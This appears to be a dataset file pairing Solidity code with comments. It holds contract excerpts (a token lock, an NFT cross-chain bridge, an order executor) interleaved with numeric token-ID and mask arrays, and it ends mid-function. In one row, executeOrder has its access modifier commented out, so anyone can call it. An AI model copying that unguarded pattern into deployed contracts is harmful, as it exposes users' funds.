// Public functions
////////////////////////
// deposits 'amount' of tokens on assetToken contract
// locks 'amount' for 'investor' address
// callable only from ICO contract that gets currency directly (ETH/EUR)
function lock(address investor, uint256 amount, uint256 neumarks)
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
require(amount > 0);
// check if controller made allowance
require(ASSET_TOKEN.allowance(msg.sender, address(this)) >= amount);
// transfer to self yourself
require(ASSET_TOKEN.transferFrom(msg.sender, address(this), amount));
Account storage a = _accounts[investor];
a.balance = addBalance(a.balance, amount);
a.neumarksDue += neumarks;
assert(isSafeMultiplier(a.neumarksDue));
if (a.unlockDate == 0) {
// this is new account - unlockDate always > 0
_totalInvestors += 1;
a.unlockDate = currentTime() + LOCK_PERIOD;
}
_accounts[investor] = a;
LogFundsLocked(investor, amount, neumarks);
}
// unlocks msg.sender tokens by making them withdrawable in assetToken
// expects number of neumarks that is due to be available to be burned on
// msg.sender balance - see comments
// if used before longstop date, calculates penalty and distributes it as
// revenue
function unlock()
public
onlyStates(LockState.AcceptingUnlocks, LockState.ReleaseAll)
returns (Status)
{
return unlockFor(msg.sender);
}
// this allows to unlock and allow neumarks to be burned in one transaction
function receiveApproval(
address from,
uint256, // _amount,
address _token,
bytes _data
)
public
onlyStates(LockState.AcceptingUnlocks, LockState.ReleaseAll)
returns (bool)
{
require(msg.sender == _token);
require(_data.length == 0);
// only from neumarks
require(_token == address(NEUMARK));
// this will check if allowance was made and if _amount is enough to
// unlock
require(unlockFor(from) == Status.SUCCESS);
// we assume external call so return value will be lost to clients
// that's why we throw above
return true;
}
/// allows to anyone to release all funds without burning Neumarks and any
/// other penalties
function controllerFailed()
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
changeState(LockState.ReleaseAll);
}
/// allows anyone to use escape hatch
function controllerSucceeded()
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
changeState(LockState.AcceptingUnlocks);
}
function setController(address controller)
public
only(ROLE_LOCKED_ACCOUNT_ADMIN)
onlyState(LockState.Uncontrolled)
{
_controller = controller;
changeState(LockState.AcceptingLocks);
}
/// sets address to which tokens from unlock penalty are sent
/// both simple addresses and contracts are allowed
/// contract needs to implement ApproveAndCallCallback interface
function setPenaltyDisbursal(address penaltyDisbursalAddress)
public
only(ROLE_LOCKED_ACCOUNT_ADMIN)
{
require(penaltyDisbursalAddress != address(0));
// can be changed at any moment by admin
_penaltyDisbursalAddress = penaltyDisbursalAddress;
}
function assetToken()
public
constant
returns (IERC677Token)
{
return ASSET_TOKEN;
}
function neumark()
public
constant
returns (Neumark)
{
return NEUMARK;
}
function lockPeriod()
public
constant
returns (uint256)
{
return LOCK_PERIOD;
}
function penaltyFraction()
public
constant
returns (uint256)
{
return PENALTY_FRACTION;
}
function balanceOf(address investor)
public
constant
returns (uint256, uint256, uint256)
{
Account storage a = _accounts[investor];
return (a.balance, a.neumarksDue, a.unlockDate);
}
function controller()
public
constant
returns (address)
{
return _controller;
}
function lockState()
public
constant
returns (LockState)
{
return _lockState;
}
function totalLockedAmount()
public
constant
returns (uint256)
{
return _totalLockedAmount;
}
function totalInvestors()
public
constant
returns (uint256)
{
return _totalInvestors;
}
function penaltyDisbursalAddress()
public
constant
returns (address)
{
return _penaltyDisbursalAddress;
}
//
// Overrides migration source
//
/// enables migration to new LockedAccount instance
/// it can be set only once to prevent setting temporary migrations that let
/// just one investor out
/// may be set in AcceptingLocks state (in unlikely event that controller
/// fails we let investors out)
/// and AcceptingUnlocks - which is normal operational mode
function enableMigration(IMigrationTarget migration)
public
onlyStates(LockState.AcceptingLocks, LockState.AcceptingUnlocks)
{
// will enforce other access controls
MigrationSource.enableMigration(migration);
}
/// migrates single investor
function migrate()
public
onlyMigrationEnabled()
{
// migrates
Account memory a = _accounts[msg.sender];
// if there is anything to migrate
if (a.balance > 0) {
// this will clear investor storage
removeInvestor(msg.sender, a.balance);
// let migration target to own asset balance that belongs to investor
require(ASSET_TOKEN.approve(address(_migration), a.balance));
bool migrated = LockedAccountMigration(_migration).migrateInvestor(
msg.sender,
a.balance,
a.neumarksDue,
a.unlockDate
);
assert(migrated);
LogInvestorMigrated(msg.sender, a.balance, a.neumarksDue, a.unlockDate);
}
}
//
// Overides Reclaimable
//
function reclaim(IBasicToken token)
public
{
// This contract holds the asset token
require(token != ASSET_TOKEN);
Reclaimable.reclaim(token);
}
////////////////////////
// Internal functions
////////////////////////
function addBalance(uint256 balance, uint256 amount)
internal
returns (uint256)
{
_totalLockedAmount = add(_totalLockedAmount, amount);
uint256 newBalance = add(balance, amount);
assert(isSafeMultiplier(newBalance));
return newBalance;
}
function subBalance(uint256 balance, uint256 amount)
internal
returns (uint256)
{
_totalLockedAmount -= amount;
return balance - amount;
}
function removeInvestor(address investor, uint256 balance)
internal
{
_totalLockedAmount -= balance;
_totalInvestors -= 1;
delete _accounts[investor];
}
function changeState(LockState newState)
internal
{
if (newState != _lockState) {
LogLockStateTransition(_lockState, newState);
_lockState = newState;
}
}
function unlockFor(address investor)
internal
returns (Status)
{
Account storage a = _accounts[investor];
// if there is anything to unlock
if (a.balance > 0) {
// in ReleaseAll just give money back by transfering to investor
if (_lockState == LockState.AcceptingUnlocks) {
// before burn happens, investor must make allowance to locked account
if (NEUMARK.allowance(investor, address(this)) < a.neumarksDue) {
return logError(Status.NOT_ENOUGH_NEUMARKS_TO_UNLOCK);
}
if (NEUMARK.balanceOf(investor) < a.neumarksDue) {
return logError(Status.NOT_ENOUGH_NEUMARKS_TO_UNLOCK);
}
if (!NEUMARK.transferFrom(investor, address(this), a.neumarksDue)) {
return logError(Status.NOT_ENOUGH_NEUMARKS_TO_UNLOCK);
}
// burn neumarks corresponding to unspent funds
NEUMARK.burnNeumark(a.neumarksDue);
// take the penalty if before unlockDate
if (currentTime() < a.unlockDate) {
require(_penaltyDisbursalAddress != address(0));
uint256 penalty = fraction(a.balance, PENALTY_FRACTION);
// distribute penalty
if (isContract(_penaltyDisbursalAddress)) {
// transfer to contract
require(
ASSET_TOKEN.approveAndCall(
_penaltyDisbursalAddress,
penalty,
""
)
);
} else {
// transfer to address
require(ASSET_TOKEN.transfer(_penaltyDisbursalAddress, penalty));
}
LogPenaltyDisbursed(investor, penalty, _penaltyDisbursalAddress);
a.balance = subBalance(a.balance, penalty);
}
}
// transfer amount back to investor - now it can withdraw
require(ASSET_TOKEN.transfer(investor, a.balance));
// remove balance, investor and
LogFundsUnlocked(investor, a.balance);
removeInvestor(investor, a.balance);
}
return Status.SUCCESS;
}
}
| deposits 'amount' of tokens on assetToken contract locks 'amount' for 'investor' address callable only from ICO contract that gets currency directly (ETH/EUR) check if controller made allowance transfer to self yourself this is new account - unlockDate always > 0 | function lock(address investor, uint256 amount, uint256 neumarks)
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
require(amount > 0);
require(ASSET_TOKEN.allowance(msg.sender, address(this)) >= amount);
require(ASSET_TOKEN.transferFrom(msg.sender, address(this), amount));
Account storage a = _accounts[investor];
a.balance = addBalance(a.balance, amount);
a.neumarksDue += neumarks;
assert(isSafeMultiplier(a.neumarksDue));
if (a.unlockDate == 0) {
_totalInvestors += 1;
a.unlockDate = currentTime() + LOCK_PERIOD;
}
_accounts[investor] = a;
LogFundsLocked(investor, amount, neumarks);
}
| 15,882,109 | [
1,
323,
917,
1282,
296,
8949,
11,
434,
2430,
603,
3310,
1345,
6835,
13046,
296,
8949,
11,
364,
296,
5768,
395,
280,
11,
1758,
4140,
1338,
628,
467,
3865,
6835,
716,
5571,
5462,
5122,
261,
1584,
44,
19,
41,
1099,
13,
866,
309,
2596,
7165,
1699,
1359,
7412,
358,
365,
3433,
2890,
333,
353,
394,
2236,
300,
7186,
1626,
3712,
405,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2176,
12,
2867,
2198,
395,
280,
16,
2254,
5034,
3844,
16,
2254,
5034,
1073,
379,
27943,
13,
203,
3639,
1071,
203,
3639,
1338,
1119,
12,
2531,
1119,
18,
5933,
310,
19159,
13,
203,
3639,
1338,
2933,
1435,
203,
565,
288,
203,
3639,
2583,
12,
8949,
405,
374,
1769,
203,
203,
3639,
2583,
12,
3033,
4043,
67,
8412,
18,
5965,
1359,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3719,
1545,
3844,
1769,
203,
203,
3639,
2583,
12,
3033,
4043,
67,
8412,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
10019,
203,
3639,
6590,
2502,
279,
273,
389,
13739,
63,
5768,
395,
280,
15533,
203,
3639,
279,
18,
12296,
273,
527,
13937,
12,
69,
18,
12296,
16,
3844,
1769,
203,
3639,
279,
18,
4644,
379,
27943,
30023,
1011,
1073,
379,
27943,
31,
203,
3639,
1815,
12,
291,
9890,
23365,
12,
69,
18,
4644,
379,
27943,
30023,
10019,
203,
3639,
309,
261,
69,
18,
26226,
1626,
422,
374,
13,
288,
203,
203,
5411,
389,
4963,
3605,
395,
1383,
1011,
404,
31,
203,
5411,
279,
18,
26226,
1626,
273,
6680,
1435,
397,
14631,
67,
28437,
31,
203,
3639,
289,
203,
3639,
389,
13739,
63,
5768,
395,
280,
65,
273,
279,
31,
203,
3639,
1827,
42,
19156,
8966,
12,
5768,
395,
280,
16,
3844,
16,
1073,
379,
27943,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0xb074896B5a81A3dBD8407EA3161C594116bA0dA7/sources/project_/contracts/OrderExecutor.sol | execute order with orderNonce here | function executeOrder(uint orderNonce) external /*onlyDedicatedMsgSender*/ {
orderBook.closeYieldStrategy(orderNonce);
orderBook.setExecuted(orderNonce);
emit OrderDone("order_executed", orderNonce);
(uint256 fee, address feeToken) = _getFeeDetails();
_transfer(fee, feeToken);
}
| 842,740 | [
1,
8837,
1353,
598,
1353,
13611,
2674,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1836,
2448,
12,
11890,
1353,
13611,
13,
3903,
1748,
3700,
26892,
3332,
12021,
5549,
288,
203,
3639,
1353,
9084,
18,
4412,
16348,
4525,
12,
1019,
13611,
1769,
203,
3639,
1353,
9084,
18,
542,
23839,
12,
1019,
13611,
1769,
203,
3639,
3626,
4347,
7387,
2932,
1019,
67,
4177,
4817,
3113,
1353,
13611,
1769,
203,
3639,
261,
11890,
5034,
14036,
16,
1758,
14036,
1345,
13,
273,
389,
588,
14667,
3790,
5621,
203,
3639,
389,
13866,
12,
21386,
16,
14036,
1345,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import './interfaces/IBuyBackAndBurn.sol';
import './interfaces/IMultiSignatureOracle.sol';
import './utils/MyPausableUpgradeable.sol';
import './token/MintableERC721.sol';
import 'hardhat/console.sol';
/**
* @title CrossChainBridgeERC721V1
* Provides cross chain bridging services for (whitelisted) ERC721 tokens
*/
contract CrossChainBridgeERC721V1 is MyPausableUpgradeable, IERC721Receiver {
// Roles
bytes32 public constant MANAGE_COLLECTED_FEES_ROLE = keccak256('MANAGE_COLLECTED_FEES_ROLE');
bytes32 public constant MANAGE_FEES_ROLE = keccak256('MANAGE_FEES_ROLE');
bytes32 public constant MANAGE_ORACLES_ROLE = keccak256('MANAGE_ORACLES_ROLE');
bytes32 public constant MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE = keccak256('MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE');
bytes32 public constant MANAGE_COLLECTION_WHITELIST_ROLE = keccak256('MANAGE_COLLECTION_WHITELIST_ROLE');
event TokenDeposited(
address indexed sourceNetworkCollectionAddress,
uint256 tokenId,
address indexed receiverAddress,
uint256 sourceChainId,
uint256 targetChainId,
uint256 number
);
event TokenReleased(
address indexed sourceNetworkCollectionAddress,
uint256 tokenId,
address indexed receiverAddress,
uint256 depositChainId,
uint256 depositNumber
);
event AddedCollectionToWhitelist(address indexed collectionAddress);
event RemovedCollectionFromWhitelist(address indexed collectionAddress);
event PeggedCollectionMappingAdded(
address indexed depositChainCollectionAddress,
address indexed releaseChainCollectionAddress
);
/// Counts all deposits
/// Assigns a unique deposit ID to each deposit which helps to prevent double releases
uint256 public depositCount;
/// A mapping from deposit IDs to boolean if a deposit has been released or not
/// depositChainId => depositNumber => true (released)
mapping(uint256 => mapping(uint256 => bool)) public releasedDeposits;
/// A mapping for a collection if a NFT for a tokenId deposit has been minted or not
/// tokenAddress => tokenId => bool
mapping(address => mapping(uint256 => bool)) public mintedDeposits;
/// Default bridge fee (fixed amount per transaction)
uint256 public defaultBridgeFee;
/// Individual bridge fees per supported token (fixed amount per transaction)
/// tokenAdressInDepositNetwork => flat fee amount in native token
mapping(address => uint256) public bridgeFees;
/// Storage of the outside pegged tokens
/// tokenAddressInThisNetwork => tokenAddressInTargetNetwork
mapping(address => address) public outsidePeggedCollections;
/// Mapping to track which collections are whitelisted
/// Only the official collections of the projects has to be whitelisted
/// Pegged collections by the bridge must not be whitelisted
/// tokenAddressInThisNetwork => true/false
mapping(address => bool) public officialCollectionWhitelist;
/// Contract to receive a part of the bridge fees for token burns
IBuyBackAndBurn public buyBackAndBurn;
/// MultiSignatureOracle contract
IMultiSignatureOracle public multiSignatureOracle;
/**
* @notice Initializer instead of constructor to have the contract upgradable
* @dev can only be called once after deployment of the contract
*/
function initialize(address _buyBackAndBurn, address _multiSignatureOracle) external initializer {
// call parent initializers
__MyPausableUpgradeable_init();
// set up admin roles
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
// initialize required state variables
buyBackAndBurn = IBuyBackAndBurn(_buyBackAndBurn);
multiSignatureOracle = IMultiSignatureOracle(_multiSignatureOracle);
defaultBridgeFee = 0;
}
/**
* @notice Adds a collection to the whitelist (effectively allowing bridge transactions for this token)
*
* @dev can only be called by MANAGE_COLLECTION_WHITELIST_ROLE
* @param collectionAddress the address of the token in the network this contract was released on
* @dev emits event AddedCollectionToWhitelist after successful whitelisting
*/
function addCollectionToWhitelist(address collectionAddress) external {
require(
hasRole(MANAGE_COLLECTION_WHITELIST_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_COLLECTION_WHITELIST_ROLE role to execute this function'
);
require(collectionAddress != address(0), 'CrossChainBridgeERC721V1: invalid collectionAddress provided');
officialCollectionWhitelist[collectionAddress] = true;
emit AddedCollectionToWhitelist(collectionAddress);
}
/**
* @notice Adds an outside pegged collection (= same collection but in a different network)
*
* @dev can only be called by MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE
* @param depositChainCollectionAddress the address of the collection in the network the deposit is possible (deposit collection)
* @param peggedCollectionAddress the address of the pegged collection in the network this bridge contract is released on (release collection)
*/
function addOutsidePeggedCollection(address depositChainCollectionAddress, address peggedCollectionAddress) external {
require(
hasRole(MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE role to execute this function'
);
require(
depositChainCollectionAddress != address(0) && peggedCollectionAddress != address(0),
'CrossChainBridgeERC721V1: invalid collection address provided'
);
outsidePeggedCollections[depositChainCollectionAddress] = peggedCollectionAddress;
emit PeggedCollectionMappingAdded(depositChainCollectionAddress, peggedCollectionAddress);
}
/**
* @notice Accepts ERC721 deposits that should be bridged into another network (effectively starting a bridge transaction)
*
* @dev the collection must be whitelisted by the bridge or the call will be reverted
* @param collectionAddress the address of the ERC721 contract the collection was issued with
* @param tokenId the (native) ID of the ERC721 token that should be bridged
* @param receiverAddress target address the bridged token should be sent to
* @param targetChainId chain ID of the target network
* @dev emits event TokenDeposited after successful deposit
*
*/
function deposit(
address collectionAddress,
uint256 tokenId,
address receiverAddress,
uint256 targetChainId
) external whenNotPaused {
// check if token was minted from an original collection or minted by this bridge
if (mintedDeposits[collectionAddress][tokenId]) {
// no whitelist check necessary since token was minted by this bridge
MintableERC721(collectionAddress).burn(tokenId);
} else {
require(officialCollectionWhitelist[collectionAddress], 'CrossChainBridgeERC721V1: collection not whitelisted');
// transfer the token into the bridge
IERC721Upgradeable(collectionAddress).safeTransferFrom(_msgSender(), address(this), tokenId);
}
// For every deposit we increase the counter to create a unique ID that can be used on the target side bridge to avoid double releases
depositCount = depositCount + 1;
// We always dispatch the deposit event with the "true" token address in the source network
emit TokenDeposited(collectionAddress, tokenId, receiverAddress, _getChainID(), targetChainId, depositCount);
}
/**
* @notice Releases an ERC721 token in this network after a deposit was made in another network (effectively completing a bridge transaction)
*
* @param sigV Array of recovery Ids for the signature
* @param sigR Array of R values of the signatures
* @param sigS Array of S values of the signatures
* @param receiverAddress The account to receive the tokens
* @param sourceNetworkCollectionAddress the address of the ERC721 contract in the network the deposit was made
* @param tokenId The token id to be sent
* @param depositChainId chain ID of the network in which the deposit was made
* @param depositNumber The identifier of the corresponding deposit
* @dev emits event TokenReleased after successful release
*/
function release(
uint8[] memory sigV,
bytes32[] memory sigR,
bytes32[] memory sigS,
address receiverAddress,
address sourceNetworkCollectionAddress,
uint256 tokenId,
uint256 depositChainId,
uint256 depositNumber
) external payable whenNotPaused {
// check input parameters
require(
!releasedDeposits[depositChainId][depositNumber],
'CrossChainBridgeERC721V1: deposit was already processed and released'
);
require(
multiSignatureOracle.signaturesCheckERC721(
sigV,
sigR,
sigS,
receiverAddress,
sourceNetworkCollectionAddress,
tokenId,
depositChainId,
depositNumber
),
'CrossChainBridgeERC721V1: release not permitted. Not enough signatures from permitted oracles'
);
// get collection address in release network
address collectionAddress = sourceNetworkCollectionAddress;
if (outsidePeggedCollections[collectionAddress] != address(0)) {
collectionAddress = outsidePeggedCollections[collectionAddress];
}
// calculate bridging fee
uint256 nftBridgingFee = defaultBridgeFee;
if (bridgeFees[collectionAddress] > 0) {
nftBridgingFee = bridgeFees[collectionAddress];
}
// check if transaction contains enough native tokens to pay the bridging fee
require(msg.value >= nftBridgingFee, 'CrossChainBridgeERC721V1: bridging fee exceeds release transaction value');
// transfer bridging fee to buyBackAndBurn contract
if (nftBridgingFee > 0) {
buyBackAndBurn.depositNativeToken{value: nftBridgingFee}(nftBridgingFee);
}
// check if to-be-released token is part of the official collection (whitelisted)
if (officialCollectionWhitelist[collectionAddress] == true) {
ERC721Upgradeable(collectionAddress).safeTransferFrom(address(this), receiverAddress, tokenId);
} else {
MintableERC721(collectionAddress).mint(receiverAddress, tokenId);
mintedDeposits[collectionAddress][tokenId] = true;
}
// update records to track released deposits
releasedDeposits[depositChainId][depositNumber] = true;
// release successful, deposit event
emit TokenReleased(collectionAddress, tokenId, receiverAddress, depositChainId, depositNumber);
}
/**
* @notice Removes an outside pegged collection
*
* @dev can only be called by MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE
* @param collectionAddress the address of the collection contract
*/
function removeOutsidePeggedCollection(address collectionAddress) external {
require(
hasRole(MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_OUTSIDE_PEGGED_COLLECTION_ROLE role to execute this function'
);
outsidePeggedCollections[collectionAddress] = address(0);
}
/**
* @notice Removes a token from the whitelist (i.e. stops bridging)
*
* @dev can only be called by MANAGE_FEES_ROLE
* @param collectionAddress the address of the token contract
* @dev emits event RemovedCollectionFromWhitelist after successful de-whitelisting
*/
function removeCollectionFromWhitelist(address collectionAddress) external {
require(
hasRole(MANAGE_COLLECTION_WHITELIST_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_COLLECTION_WHITELIST_ROLE role to execute this function'
);
officialCollectionWhitelist[collectionAddress] = false;
emit RemovedCollectionFromWhitelist(collectionAddress);
}
/**
* @notice Sets the default bridge (flat) fee that is being used for token buybacks and burns
*
* @dev can only be called by MANAGE_FEES_ROLE
* @param fee flat fee amount in native token currency
*/
function setDefaultBridgeFee(uint256 fee) external {
require(
hasRole(MANAGE_FEES_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_FEES_ROLE role to execute this function'
);
defaultBridgeFee = fee;
}
/**
* @notice Sets an individual bridge (flat) fee for the provided collection
*
* @dev can only be called by MANAGE_FEES_ROLE
* @param collectionAddress the address of the token contract
* @param fee flat fee amount in native token currency
*/
function setBridgeFee(address collectionAddress, uint256 fee) external {
require(
hasRole(MANAGE_FEES_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_FEES_ROLE role to execute this function'
);
bridgeFees[collectionAddress] = fee;
}
/**
* @notice Sets the address for the BuyBackAndBurn contract that receives bridging fees to fund token burns
*
* @dev can only be called by MANAGE_COLLECTED_FEES_ROLE
* @param buyBackAndBurnContract the address of the BuyBackAndBurn contract
*/
function setBuyBackAndBurn(IBuyBackAndBurn buyBackAndBurnContract) external {
require(
address(buyBackAndBurnContract) != address(0),
'CrossChainBridgeERC721: invalid buyBackAndBurnContract address provided'
);
require(
hasRole(MANAGE_COLLECTED_FEES_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_COLLECTED_FEES_ROLE role to execute this function'
);
buyBackAndBurn = buyBackAndBurnContract;
}
/**
* @notice Sets the address for the MultiSignatureOracle contract
*
* @dev can only be called by MANAGE_ORACLES_ROLE
* @param oracle the address of the MultiSignatureOracle contract
*/
function setMultiSignatureOracle(IMultiSignatureOracle oracle) external {
require(address(oracle) != address(0), 'CrossChainBridgeERC721: invalid oracle address provided');
require(
hasRole(MANAGE_ORACLES_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_ORACLES_ROLE role to execute this function'
);
multiSignatureOracle = oracle;
}
/**
* @notice Always returns `this.onERC721Received.selector`
* @dev see OpenZeppelin IERC721Receiver for more details
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) external virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
// returns the ID of the network this contract is deployed in
function _getChainID() private view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import './IRouter.sol';
interface IBuyBackAndBurn {
function depositERC20(IERC20 token, uint256 amount) external;
function depositNativeToken(uint256 amount) external payable;
//function iRouter() external returns (IRouter);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IMultiSignatureOracle {
function signaturesCheckERC721(
uint8[] memory sigV,
bytes32[] memory sigR,
bytes32[] memory sigS,
address receiverAddress,
address collectionAddress,
uint256 tokenId,
uint256 depositChainId,
uint256 depositNumber
) external returns (bool);
function signaturesCheckERC20(
uint8[] memory sigV,
bytes32[] memory sigR,
bytes32[] memory sigS,
address receiverAddress,
address sourceNetworkTokenAddress,
uint256 amount,
uint256 depositChainId,
uint256 depositNumber
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol';
/**
* @title MyPausableUpgradeable
* This contracts introduces pausability,reentrancy guard and access control to all smart contracts that inherit from it
*/
abstract contract MyPausableUpgradeable is
AccessControlUpgradeable,
PausableUpgradeable,
ReentrancyGuardUpgradeable,
UUPSUpgradeable
{
bytes32 public constant PAUSABILITY_PAUSE_ROLE = keccak256('PAUSABILITY_PAUSE_ROLE');
bytes32 public constant PAUSABILITY_UNPAUSE_ROLE = keccak256('PAUSABILITY_UNPAUSE_ROLE');
bytes32 public constant MANAGE_UPGRADES_ROLE = keccak256('MANAGE_UPGRADES_ROLE');
/**
* @notice Initializer instead of constructor to have the contract upgradeable
* @dev can only be called once after deployment of the contract
*/
function __MyPausableUpgradeable_init() internal initializer {
// call parent initializers
__ReentrancyGuard_init();
__AccessControl_init();
__Pausable_init();
__UUPSUpgradeable_init();
// set up admin roles
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PAUSABILITY_PAUSE_ROLE, _msgSender());
_setupRole(PAUSABILITY_UNPAUSE_ROLE, _msgSender());
_setupRole(MANAGE_UPGRADES_ROLE, _msgSender());
}
/**
* @notice This function s required to enable the OpenZeppelin UUPS proxy upgrade pattern
* We decided to implement this function here as every other contract inherits from this one
*
* @dev can only be called by MANAGE_UPGRADES_ROLE
*/
function _authorizeUpgrade(address) internal view override {
require(
